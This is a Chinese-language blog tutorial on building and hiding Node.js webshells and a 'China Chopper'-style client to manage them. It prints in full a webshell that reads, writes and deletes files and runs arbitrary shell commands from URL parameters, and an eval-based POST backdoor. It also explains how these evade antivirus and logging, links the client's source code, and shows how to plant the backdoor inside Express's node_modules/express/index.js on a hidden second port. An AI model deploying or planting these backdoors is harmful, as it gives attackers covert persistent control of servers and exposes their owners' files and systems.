通过nodeJs中eval关键字打造一款管理nodeJS后门的菜刀

0x00 前言

“webshell” 这个关键字在黑与白的术语中经常出现,它具有操作目标web站点的文件权限,而webshell在web查杀中是脆弱的,管理者可以通过web日志进行溯源,从而查杀webshell。在web杀软中,webshell脚本不够健壮会直接被BAN掉。

“如何绕过XX狗”,“如何才能更加隐蔽”,“webshell流量加密”等问题也在安全圈中也是老生常谈的问题。而一句话木马慢慢流行起来,它非常简短,只需要中国菜刀等管理webshell的工具进行配合即可管理服务器文件。

那么本篇文章给大家介绍一种新的web应用后门,它是“nodeJS”,我们从简单了解nodeJs到nodeJs版中国菜刀脚本编写。

0x01 nodeJS的简单概述

NodeJS是一种后端语言,由C++编写而成,它的语法结构遵循了前端JavaScript语法。

nodeJs不需要web容器,nodeJs自己就是web容器。

我们看下面例子:

可能这张图片理解起来不是太清楚,那么我们简单编写一段处理GET请求的代码。

我们使用最喜欢的BurpSuite工具来进行测试

Post请求案例:

可以简单的了解到,nodeJS没有web容器。我们从刚刚的代码中所了解到,nodeJS的一系列操作都是使用require()来进行引包,随后在引进来的资源上进行操作。同时nodeJS是没有像PHP/ASP语言中的

0x02 nodejs后门了解

因为没有语言标识符(php中的

这个小马如何使用,笔者就不分享了,它利用起来不方便先不说,其次下面有一种姿势来代替它。

小马脚本:

let http = require(‘http’);

let url = require(‘url’);

let fs = require(‘fs’);

let cmd = require(‘child_process’);

 

let modulename = [‘readfile’,’writefile’,’cmd’,’readdir’,’unlink’];

let server = http.createserver((request, response)=>{

    let urlobj = url.parse(request.url,true).query;

    if(!urlobj.type || !modulename.includes(urlobj.type)){

        response.writehead(404, {‘content-type’:’text/html;’});

    }else{

        response.writehead(200, {‘content-type’:’text/css;’});

    }

    var result = ”;

    if(!urlobj.path){

        urlobj.path = ‘./’;

    }

    switch(urlobj.type){

        case ‘readfile’:

            try {

                result = fs.readfilesync(urlobj.path).tostring();

            }catch(e){

                result = ‘请检查path参数,文件读取失败!’;

            }

            break;

        case ‘unlink’:

            try {

                fs.unlinksync(urlobj.path);

                result = ‘文件删除成功’;

            }catch(e){

                result = ‘unlink模块需要path参数,文件删除失败’;

            }

            break;

        case ‘writefile’:

            if(urlobj.value){

                try {

                    fs.writefilesync(urlobj.path, urlobj.value);

                    result = ‘文件写入成功~’;

                }catch(e){

                    result = ‘文件写入失败’;

                }

            }else{

                result = ‘writefile模块需要传递path(写入路径)与value(写入内容)参数~’;

            }

            break;

        case ‘readdir’:

            try{

                let filearr = fs.readdirsync(urlobj.path);

                let tmpstr = ”;

                let dirs = [];

                let files = [];

                for(let i in filearr){

                    try{

                        flag = fs.lstatsync(urlobj.path + ‘\’ + filearr[i]).isfile();

                        if(flag){

                            files.push(filearr[i]);

                        }else{

                            dirs.push(filearr[i]);

                        }

                    }catch(e){}

                }

                tmpstr += `rnrnrn———–↓↓↓目录↓↓↓———–rn`;

                for(let i in dirs){

                    tmpstr += dirs[i] + “rn”;

                }

                tmpstr += `rnrnrn———–↓↓↓文件↓↓↓———–rn`;

                for(let i in files){

                    tmpstr += files[i] + “rn”;

                }

                result = `当前执行程序的路径${process.cwd()}rn代码存放的位置${__dirname}rnnodejs文件路径${process.execpath}rn${tmpstr}`;

            }catch(e){

                result = ‘读取目录失败’;

            }

            break;

        case ‘cmd’:

            if(urlobj.cmd){

                try{

                    result = cmd.execsync(urlobj.cmd);

                }catch(e){

                    result = ‘cmd命令错误’;

                }

            }else{

                result = ‘cmd模块需要传递cmd参数~’;

            }

            break;

    }

    response.write(result);

    response.end();

});

server.listen(5555);

这里笔者推荐使用nodejswebshell。

第一点:因为没有语言标识符,d盾根本无法识别出该文件是后门。

第二点:在运维人士中,了解nodejs的也不是太多。但是放在前端人员身上,nodejs是学习路线中必学的。但前端管理范围大家都懂。

第三点:由于nodejs服务本来就属于安全的web服务,这一点杀软会原谅nodejs。

第四点:因为nodejs自己就是自己的web容器,所以nodejs并没有积极地去提供nodejs web访问日志。(但nodejs日志是可以通过代码层来实现)

缺点就是它只适合进行后期的权限维持,如刚才笔者必须运行node xxxx.js才可以开启nodejs服务。

通过这一系列因素,笔者有了一种打造nodejs中国菜刀的念头。

0x03 编写菜刀思路

nodejs传承了javascript的语法,开启了后端语言,我们知道前台的javascript中,eval()函数是用来执行代码的,说到这里我们会想到php中的eval也会被黑客当作后门来使用,那么nodejs存在eval,为什么没有人去造一款管理nodejs后门的菜刀呢?既然网上没有第一个案例,那笔者就来造出第一个案例吧。下边是笔者对菜刀的理解思维图:

那么传统的一句话木马如php一句话木马一样,只需要简单的一句话就可以 eval($_post[x]);,但是nodejs却无法这么简短,因为它解析get/post请求就需要一堆代码。

在编写nodejs菜刀之前笔者有一种猜想,是不是nodejs的eval函数中无法引入包?也就是require函数的执行。

那么笔者进行测试:

可以惊讶的看到fs包被成功引入进来了,那么编写中国菜刀的理想也就又近了一步。

0x04 菜刀编写

笔者在这里写了一段处理post请求的代码,并且进入eval函数,来达到市场上正常的一句话的效果。代码如下:

这里nodejs奇怪就奇怪在处理post请求使用了nodejs自己封装的addlistener事件方法,上图的一系列代码就是在表示 eval($_post[‘heihu’]),这样的“一句话”还真是“一句话”…

下面使用burpsuite来测试一下console.log看是否可以成功代码执行。

可以看到console.log()成功被执行。

nodejs一句话脚本:

var http = require(‘http’);

var querystring = require(‘querystring’);

var server = http.createserver(function(request, response){

    response.writehead(200, {‘content-type’:’text/html;charset=utf8′});

    if(request.method.tolocalelowercase() == ‘post’){

        var string = ”;

        request.addlistener(‘data’, function(chunk){

            string += chunk;

        });

        request.addlistener(‘end’, function(){

            var strobj = querystring.parse(string);

            if(strobj.heihu){

                try {

                    eval(strobj.heihu);

                    response.end(‘eval ok’);

                }catch(e){

                    console.log(e);

                    response.end(‘eval error’);

                }

            }else{

                response.end(‘pass error’);

            }

        });

    }else{

        response.end();

    }

});

server.listen(5555);

那么笔者使用“易语言”来完成这个中国菜刀的小项目吧~(对,你没听错,就是易语言)

首先界面很简单,也就是一个登录窗口。

单击“向着权限进攻~”按钮后

发送post请求,内容是response.end(‘shellok’);,如果页面真正返回shellok后,则代表shell可以成功链接,否则则链接失败。当链接成功时,则进入窗口一,窗口一的界面是这样的:

当载入该窗口则发送一条目录文件遍历的代码至服务端。

完全模拟了我们burpsuite时的操作。工具只是将一些语句全部封装起来,然后发送。

下边笔者就不再分析源码中每一行的意义了,笔者会将源码共享到这里,大家可以去可以打造一个属于自己的nodejs后门管理工具。

工具使用案例:

百度网盘下载源码:https://pan.baidu.com/s/1gu3fkzp-gx-gw_ldktdzsg 提取码:6666

0x05 nodejs后门的隐蔽方式

我们当然不想单独的去创建一个js文件,然后去放置后门,这样被查杀的概率也是有的,但笔者这里想到了一种nodejs后门的隐蔽方式。

express为nodejs中应用最广泛的框架,它非常容易就可以去处理nodejs路由。

我们先看一个express的简单案例:

在使用express框架中,不得不require(‘express’);后再进行操作,在nodejs中,被require进来的包,虽然只可以接收到exports所暴露出来的变量,但是每行nodejs语句也会被执行,我们定位到express中核心载入的文件。

在./node_modules/express/index.js文件中我们可以看到正常的处理逻辑:

我们在其中插入我们的后门脚本代码:

这里需要注意的是,这里的listen不要与express框架中的端口相等,否则将会造成端口冲突。

放置后门后整个框架开启了两个端口,分别是5555端口以及6666端口,这两个端口5555端口为express框架的正常服务,而6666端口是我们的后门端口。如图:

 


最后修改:2021 年 04 月 27 日 06 : 28 pm

如果觉得我的文章对你有用,请随意赞赏


发表评论





图片[3]-通过nodeJs中eval关键字打造一款管理nodeJS后门的菜刀-安全小百科